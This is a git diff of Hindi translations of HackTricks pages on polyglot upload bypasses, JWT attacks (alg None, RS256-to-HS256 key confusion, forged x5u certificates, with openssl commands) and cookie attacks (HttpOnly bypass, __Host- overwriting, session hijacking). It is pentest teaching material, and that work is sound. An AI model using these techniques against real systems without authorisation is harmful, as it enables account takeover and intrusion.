पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,9 +329,9 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अन्हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -344,7 +344,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,14 +15,14 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**इस पोस्ट का एक हिस्सा शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTs को पेंटेस्ट करने के लिए महान टूल का लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**इस पोस्ट का एक भाग शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTs को पेंटेस्ट करने के लिए महान उपकरण का लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Quick Wins**
|
||||
|
||||
|
@ -44,7 +44,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
|
|||
|
||||
### डेटा को बिना कुछ बदले टेम्पर करें
|
||||
|
||||
आप बस डेटा के साथ छेड़छाड़ कर सकते हैं जबकि सिग्नेचर को वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
|
||||
आप बस डेटा को टेम्पर कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और देख सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
|
||||
|
||||
#### **क्या टोकन की जांच की जाती है?**
|
||||
|
||||
|
@ -56,7 +56,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
|
|||
|
||||
### उत्पत्ति
|
||||
|
||||
यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड द्वारा उत्पन्न किया गया था, प्रॉक्सी के अनुरोध इतिहास की जांच करके।
|
||||
यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड पर उत्पन्न हुआ था, प्रॉक्सी के अनुरोध इतिहास की जांच करके।
|
||||
|
||||
* क्लाइंट साइड से पहले देखे गए टोकन सुझाव देते हैं कि कुंजी क्लाइंट-साइड कोड के लिए उजागर हो सकती है, जिसके लिए आगे की जांच की आवश्यकता है।
|
||||
* सर्वर-साइड से उत्पन्न टोकन एक सुरक्षित प्रक्रिया को इंगित करते हैं।
|
||||
|
@ -69,20 +69,20 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
|
|||
|
||||
[**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### एल्गोरिदम को None में संशोधित करें
|
||||
### एल्गोरिदम को None में बदलें
|
||||
|
||||
उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।
|
||||
उपयोग किए गए एल्गोरिदम को "None" सेट करें और सिग्नेचर भाग को हटा दें।
|
||||
|
||||
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।
|
||||
|
||||
### एल्गोरिदम RS256 (asymmetric) को HS256 (symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
|
||||
### एल्गोरिदम RS256(asymmetric) को HS256(symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
एल्गोरिदम HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||||
एल्गोरिदम RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
|
||||
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।
|
||||
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
|
||||
फिर, सार्वजनिक कुंजी का उपयोग करके और RS256 को HS256 में बदलकर हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते समय वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -176,7 +176,7 @@ X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं ताकि **बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और x5u पैरामीटर को बनाए गए .crt प्रमाणपत्र की ओर इंगित किया जा सके।**
|
||||
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं **नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित करता है।**
|
||||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
|
@ -184,7 +184,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
#### x5c
|
||||
|
||||
यह पैरामीटर **base64 में प्रमाणपत्र** हो सकता है:
|
||||
यह पैरामीटर **बेस64 में प्रमाणपत्र** हो सकता है:
|
||||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
|
@ -231,7 +231,7 @@ Finally, using the public and private key and the new "n" and "e" values you can
|
|||
|
||||
यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।
|
||||
|
||||
यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया है तो निजी कुंजी का खुलासा करना (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
|
||||
यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया (SECP256k1 के साथ) तो निजी कुंजी का खुलासा करना](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
|
@ -252,7 +252,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
|
|||
|
||||
**टोकनों की समाप्ति जांच**
|
||||
|
||||
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC अनुशंसा करता है कि JWT पुनः खेल हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट किया जाए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है।
|
||||
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेल हमलों को कम करने की सिफारिश करता है "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने के लिए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है।
|
||||
|
||||
* यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।
|
||||
|
||||
|
@ -260,7 +260,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -21,22 +21,22 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Expires and Max-Age
|
||||
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित होती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को परिभाषित करती है जो कुकी को हटाने से पहले सेकंड में है। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
|
||||
### Domain
|
||||
|
||||
कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट होते हैं। डिफ़ॉल्ट रूप से, यह उस होस्ट पर सेट होता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं करता। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
|
||||
कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट किए जाते हैं। डिफ़ॉल्ट रूप से, इसे उस होस्ट पर सेट किया जाता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं किया जाता है। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसके उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
|
||||
|
||||
### Path
|
||||
|
||||
`Path` विशेषता उस विशिष्ट URL पथ को इंगित करती है जो अनुरोधित URL में होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है।
|
||||
`Path` विशेषता द्वारा संकेतित एक विशिष्ट URL पथ होना चाहिए जो अनुरोधित URL में मौजूद होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है।
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस पर आधारित होती है:
|
||||
|
||||
* अनुरोधित URL में सबसे लंबे पथ से मेल खाने वाली कुकी।
|
||||
* यदि पथ समान हैं, तो सबसे हाल में सेट की गई कुकी।
|
||||
* यदि पथ समान हैं तो सबसे हाल में सेट की गई कुकी।
|
||||
|
||||
### SameSite
|
||||
|
||||
|
@ -61,7 +61,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
एक कुकी जिसमें _**SameSite**_ विशेषता होगी वह **CSRF हमलों को कम करेगी** जहाँ एक लॉग इन सत्र की आवश्यकता होती है।
|
||||
|
||||
**\*ध्यान दें कि Chrome80 (फरवरी/2019) से बिना कुकी सैमसाइट** **विशेषता वाली कुकी का डिफ़ॉल्ट व्यवहार लक्स होगा** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में **SameSite** **नीति के बिना कुकीज़ को** **पहले 2 मिनट के लिए None के रूप में और फिर शीर्ष स्तर के क्रॉस-साइट POST अनुरोध के लिए Lax के रूप में** **व्यवहार किया जाएगा।**
|
||||
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में **बिना SameSite** **नीति वाली कुकीज़ को **पहले 2 मिनट के लिए None** के रूप में **व्यवहार किया जाएगा और फिर शीर्ष स्तर के क्रॉस-साइट POST अनुरोध के लिए Lax के रूप में।**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
|
@ -72,10 +72,10 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
#### **Bypasses**
|
||||
|
||||
* यदि पृष्ठ **अनुरोधों के उत्तर के रूप में कुकीज़ भेज रहा है** (उदाहरण के लिए एक **PHPinfo** पृष्ठ में), तो XSS का दुरुपयोग करके इस पृष्ठ पर अनुरोध भेजना और **उत्तर से कुकीज़ चुराना** संभव है (एक उदाहरण देखें [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे विशिष्ट सॉफ़्टवेयर में कुछ बायपास पाए गए हैं।
|
||||
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर कुकीज़ को दर्शाएगा। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं।
|
||||
* एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है।
|
||||
* एक कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट करना** संभव है:
|
||||
* यह **कुकी जार ओवरफ्लो हमले** द्वारा HttpOnly कुकीज़ को **ओवरराइट** करना संभव है:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -98,17 +98,17 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
* इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे उपडोमेन में उनके संचरण को रोका जा सके।
|
||||
* इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए।
|
||||
|
||||
यह महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
तो, `__Host-` उपसर्ग वाली कुकीज़ की एक सुरक्षा यह है कि उन्हें उपडोमेन से ओवरराइट होने से रोका जा सके। उदाहरण के लिए [**Cookie Tossing attacks**](cookie-tossing.md) को रोकना। वार्ता [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) में प्रस्तुत किया गया है कि उपडोमेन से \_\_HOST- उपसर्ग वाली कुकीज़ सेट करना संभव था, पार्सर को धोखा देकर, उदाहरण के लिए, "=" को शुरुआत या अंत में जोड़कर...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है:
|
||||
या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदले जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करना संभव हो गया:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -116,15 +116,15 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं की नकल करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके।
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा ध्यान से देखना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को फिर से कुकी में एन्कोड करके।
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
यह हमला एक उपयोगकर्ता की कुकी चुराने से संबंधित है ताकि उनके खाते में अनधिकृत पहुँच प्राप्त की जा सके। चुराई गई कुकी का उपयोग करके, एक हमलावर वैध उपयोगकर्ता की नकल कर सकता है।
|
||||
यह हमला एक उपयोगकर्ता की कुकी चुराने से संबंधित है ताकि उनके खाते में अनधिकृत पहुँच प्राप्त की जा सके। चुराई गई कुकी का उपयोग करके, एक हमलावर वैध उपयोगकर्ता का अनुकरण कर सकता है।
|
||||
|
||||
### Session Fixation
|
||||
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित की नकल कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
|
||||
|
||||
|
@ -144,23 +144,23 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
JWT में संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
|
||||
संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
|
||||
|
||||
